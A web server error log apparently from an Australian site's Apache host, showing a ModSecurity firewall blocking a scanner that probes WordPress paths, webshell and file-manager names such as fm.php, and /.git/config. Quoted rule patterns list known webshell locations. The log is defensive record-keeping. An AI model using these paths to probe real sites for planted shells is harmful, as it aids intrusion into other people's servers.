[Tue Apr 07 20:29:23.862892 2026] [:error] [pid 37597:tid 37646] [client 62.197.144.37:13058] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "adT4ow6uAY0QAy-8EEJ4WAAAAEw"]
[Tue Apr 07 20:29:25.502926 2026] [proxy_fcgi:error] [pid 37597:tid 37643] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:25.914306 2026] [proxy_fcgi:error] [pid 37597:tid 37638] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:26.325631 2026] [proxy_fcgi:error] [pid 37597:tid 37646] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:27.151106 2026] [proxy_fcgi:error] [pid 37597:tid 37645] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:28.383182 2026] [proxy_fcgi:error] [pid 37597:tid 37657] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:28.794162 2026] [proxy_fcgi:error] [pid 37597:tid 37649] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:29.204490 2026] [proxy_fcgi:error] [pid 37597:tid 37646] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:29.618676 2026] [proxy_fcgi:error] [pid 37597:tid 37635] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:30.849723 2026] [proxy_fcgi:error] [pid 37597:tid 37648] [client 62.197.144.37:21415] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:31.256167 2026] [:error] [pid 37597:tid 37639] [client 62.197.144.37:21415] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adT4qw6uAY0QAy-8EEJ4fwAAAEU"]
[Tue Apr 07 20:29:32.073894 2026] [:error] [pid 37597:tid 37638] [client 62.197.144.37:26918] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adT4rA6uAY0QAy-8EEJ4ggAAAEQ"]
[Tue Apr 07 20:29:32.904922 2026] [proxy_fcgi:error] [pid 59490:tid 59514] [client 62.197.144.37:48712] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:33.317955 2026] [:error] [pid 59490:tid 59494] [client 62.197.144.37:48712] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adT4rUcw8OFbiUZ7Rx1pwQAAAUI"]
[Tue Apr 07 20:29:34.544903 2026] [proxy_fcgi:error] [pid 12948:tid 12953] [client 62.197.144.37:44212] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:34.953553 2026] [:error] [pid 12948:tid 12970] [client 62.197.144.37:44212] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adT4rsbeSPAN8LvMqsau2wAAARM"]
[Tue Apr 07 20:29:35.795040 2026] [:error] [pid 12948:tid 12952] [client 62.197.144.37:1180] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adT4r8beSPAN8LvMqsau3AAAAQE"]
[Tue Apr 07 20:29:38.266998 2026] [:error] [pid 12948:tid 12966] [client 62.197.144.37:44234] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adT4ssbeSPAN8LvMqsau4wAAAQ8"]
[Tue Apr 07 20:29:39.084463 2026] [:error] [pid 37719:tid 37739] [client 62.197.144.37:6525] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "adT4s009Xv52u2xXGLAbRAAAANE"]
[Tue Apr 07 20:29:41.155166 2026] [proxy_fcgi:error] [pid 37597:tid 37641] [client 62.197.144.37:64125] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:41.979813 2026] [:error] [pid 37597:tid 37651] [client 62.197.144.37:64125] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adT4tQ6uAY0QAy-8EEJ4pQAAAFE"]
[Tue Apr 07 20:29:43.200785 2026] [proxy_fcgi:error] [pid 37597:tid 37645] [client 62.197.144.37:44266] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:44.017483 2026] [:error] [pid 37597:tid 37658] [client 62.197.144.37:44266] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/function.php"] [unique_id "adT4uA6uAY0QAy-8EEJ4swAAAFg"]
[Tue Apr 07 20:29:44.844775 2026] [:error] [pid 59804:tid 59812] [client 62.197.144.37:50162] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "adT4uHYVIXiPh5_eJTmpDAAAAgY"]
[Tue Apr 07 20:29:46.092302 2026] [proxy_fcgi:error] [pid 37596:tid 37611] [client 62.197.144.37:50166] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:46.506160 2026] [:error] [pid 37596:tid 37609] [client 62.197.144.37:50166] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "adT4uqpaAOZHEjRWjP2ctgAAAAM"]
[Tue Apr 07 20:29:47.329905 2026] [:error] [pid 37598:tid 37684] [client 62.197.144.37:50172] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adT4u-9g7q_cV2WhPay4KAAAAJc"]
[Tue Apr 07 20:29:49.000210 2026] [proxy_fcgi:error] [pid 37719:tid 37740] [client 62.197.144.37:64971] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:49.416726 2026] [proxy_fcgi:error] [pid 37719:tid 37732] [client 62.197.144.37:64971] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:50.245257 2026] [proxy_fcgi:error] [pid 37719:tid 37731] [client 62.197.144.37:64971] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:51.070138 2026] [:error] [pid 37719:tid 37736] [client 62.197.144.37:64971] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "adT4v009Xv52u2xXGLAbUwAAAM4"]
[Tue Apr 07 20:29:51.879494 2026] [:error] [pid 37597:tid 37639] [client 62.197.144.37:50188] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adT4vw6uAY0QAy-8EEJ4uAAAAEU"]
[Tue Apr 07 20:29:52.705880 2026] [proxy_fcgi:error] [pid 37597:tid 37648] [client 62.197.144.37:50200] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:53.121612 2026] [proxy_fcgi:error] [pid 37597:tid 37655] [client 62.197.144.37:50200] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:53.954574 2026] [proxy_fcgi:error] [pid 37597:tid 37640] [client 62.197.144.37:50200] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:54.366704 2026] [:error] [pid 37597:tid 37636] [client 62.197.144.37:50200] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "adT4wg6uAY0QAy-8EEJ4wQAAAEI"]
[Tue Apr 07 20:29:55.187548 2026] [:error] [pid 37596:tid 37616] [client 62.197.144.37:34724] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adT4w6paAOZHEjRWjP2cuQAAAAo"]
[Tue Apr 07 20:29:56.004538 2026] [:error] [pid 59804:tid 59821] [client 62.197.144.37:34732] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adT4xHYVIXiPh5_eJTmpGAAAAg8"]
[Tue Apr 07 20:29:58.526673 2026] [proxy_fcgi:error] [pid 59660:tid 59662] [client 62.197.144.37:34748] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:58.944973 2026] [:error] [pid 59660:tid 59673] [client 62.197.144.37:34748] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "adT4xjp3-oiX2o5bTswTVAAAAcs"]
[Tue Apr 07 20:30:00.226901 2026] [:error] [pid 59551:tid 59570] [client 62.197.144.37:34760] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "adT4yF7LN7Ubyqs-sVsItwAAAZE"]
[Tue Apr 07 20:30:01.049345 2026] [proxy_fcgi:error] [pid 59551:tid 59564] [client 62.197.144.37:34770] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:30:01.465506 2026] [proxy_fcgi:error] [pid 59551:tid 59565] [client 62.197.144.37:34770] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:30:02.321870 2026] [:error] [pid 59551:tid 59566] [client 62.197.144.37:34770] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adT4yl7LN7Ubyqs-sVsIvwAAAY0"]
[Tue Apr 07 20:30:03.170132 2026] [:error] [pid 59804:tid 59807] [client 62.197.144.37:34772] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adT4y3YVIXiPh5_eJTmpHQAAAgE"]
[Tue Apr 07 20:30:03.985586 2026] [:error] [pid 37596:tid 37617] [client 62.197.144.37:16444] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adT4y6paAOZHEjRWjP2cuwAAAAs"]
[Tue Apr 07 20:30:04.824660 2026] [:error] [pid 37596:tid 37606] [client 62.197.144.37:12970] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adT4zKpaAOZHEjRWjP2cvAAAAAA"]
[Tue Apr 07 20:30:05.670261 2026] [:error] [pid 59490:tid 59495] [client 62.197.144.37:56264] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up.php"] [unique_id "adT4zUcw8OFbiUZ7Rx1p1gAAAUM"]
[Tue Apr 07 20:30:14.858103 2026] [autoindex:error] [pid 37597:tid 37650] [client 62.197.144.37:56274] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Apr 07 20:30:23.983067 2026] [:error] [pid 37597:tid 37638] [client 62.197.144.37:56274] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adT43w6uAY0QAy-8EEJ5JQAAAEQ"]
[Tue Apr 07 20:30:24.807803 2026] [:error] [pid 37597:tid 37646] [client 62.197.144.37:59332] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adT44A6uAY0QAy-8EEJ5KQAAAEw"]
[Tue Apr 07 20:30:25.626750 2026] [:error] [pid 59490:tid 59505] [client 62.197.144.37:59348] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adT44Ucw8OFbiUZ7Rx1p2gAAAU0"]
[Tue Apr 07 20:30:26.470643 2026] [:error] [pid 59490:tid 59503] [client 62.197.144.37:59358] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adT44kcw8OFbiUZ7Rx1p3AAAAUs"]
[Tue Apr 07 20:30:27.303800 2026] [:error] [pid 37597:tid 37650] [client 62.197.144.37:59374] [client 62.197.144.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adT44w6uAY0QAy-8EEJ5NAAAAFA"]
[Tue Apr 07 23:34:24.913650 2026] [:error] [pid 59804:tid 59827] [client 83.244.7.199:45314] [client 83.244.7.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.244.7.199, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adUkAHYVIXiPh5_eJTkCRQAAAhU"]
[Tue Apr 07 23:34:24.924742 2026] [proxy_fcgi:error] [pid 59804:tid 59827] [client 83.244.7.199:45314] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 23:34:27.151252 2026] [:error] [pid 37597:tid 37655] [client 46.196.181.147:49441] [client 46.196.181.147] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.196.181.147, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adUkAw6uAY0QAy-8EELcKgAAAFU"]
[Tue Apr 07 23:34:27.156424 2026] [proxy_fcgi:error] [pid 37597:tid 37655] [client 46.196.181.147:49441] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 23:43:41.950773 2026] [:error] [pid 59804:tid 59823] [client 102.223.33.158:55542] [client 102.223.33.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.223.33.158, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adUmLXYVIXiPh5_eJTkGkQAAAhE"]
[Tue Apr 07 23:43:41.961625 2026] [proxy_fcgi:error] [pid 59804:tid 59823] [client 102.223.33.158:55542] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 00:10:10.988380 2026] [:error] [pid 37597:tid 37650] [client 49.207.3.2:62597] [client 49.207.3.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.207.3.2, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adUsYg6uAY0QAy-8EELoXQAAAFA"]
[Wed Apr 08 00:10:10.999969 2026] [proxy_fcgi:error] [pid 37597:tid 37650] [client 49.207.3.2:62597] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 01:04:21.563970 2026] [:error] [pid 4842:tid 5201] [client 178.51.65.211:16529] [client 178.51.65.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.51.65.211, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adU5FZdncJIGbBiMOXS6cwAAAE0"]
[Wed Apr 08 01:04:21.574720 2026] [proxy_fcgi:error] [pid 4842:tid 5201] [client 178.51.65.211:16529] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:02:46.566048 2026] [:error] [pid 47625:tid 47649] [client 45.227.73.55:2270] [client 45.227.73.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.73.55, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adVi5iVuHyNWzZlE8PDavQAAAA8"]
[Wed Apr 08 04:02:46.577026 2026] [proxy_fcgi:error] [pid 47625:tid 47649] [client 45.227.73.55:2270] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:48:47.630625 2026] [:error] [pid 47627:tid 47722] [client 143.198.198.42:47782] [client 143.198.198.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.198.42, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adWJz3Oljf1Quv_kDjm8lgAAAJc"]
[Wed Apr 08 06:48:47.642109 2026] [proxy_fcgi:error] [pid 47627:tid 47722] [client 143.198.198.42:47782] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:48:48.398595 2026] [:error] [pid 47732:tid 47739] [client 143.198.198.42:58540] [client 143.198.198.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.198.42, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adWJ0Im4N5QW9Mh7G11q6QAAAMU"]
[Wed Apr 08 06:48:48.404162 2026] [proxy_fcgi:error] [pid 47732:tid 47739] [client 143.198.198.42:58540] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:52.774105 2026] [proxy_fcgi:error] [pid 47626:tid 47671] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:53.012193 2026] [proxy_fcgi:error] [pid 47626:tid 47675] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:53.250822 2026] [proxy_fcgi:error] [pid 47626:tid 47688] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:53.487543 2026] [proxy_fcgi:error] [pid 47626:tid 47681] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:53.724750 2026] [proxy_fcgi:error] [pid 47626:tid 47670] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:53.961058 2026] [proxy_fcgi:error] [pid 47626:tid 47674] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:54.444719 2026] [proxy_fcgi:error] [pid 47626:tid 47686] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 06:55:54.681086 2026] [proxy_fcgi:error] [pid 47626:tid 47676] [client 172.213.26.45:13043] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 08:21:47.153454 2026] [:error] [pid 47626:tid 47676] [client 138.84.73.133:34488] [client 138.84.73.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.84.73.133, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adWfm6jWI8TWtHx2sdY0iAAAAEg"]
[Wed Apr 08 08:21:47.345100 2026] [proxy_fcgi:error] [pid 47626:tid 47676] [client 138.84.73.133:34488] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 09:57:54.315075 2026] [:error] [pid 47732:tid 47758] [client 216.81.248.41:55364] [client 216.81.248.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "adW2Iom4N5QW9Mh7G13GewAAANg"]
[Wed Apr 08 10:20:02.028966 2026] [:error] [pid 47625:tid 47644] [client 206.189.38.142:64082] [client 206.189.38.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.38.142, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adW7UiVuHyNWzZlE8PBkUAAAAAo"]
[Wed Apr 08 10:20:02.040501 2026] [proxy_fcgi:error] [pid 47625:tid 47644] [client 206.189.38.142:64082] AH01071: Got error 'Primary script unknown'
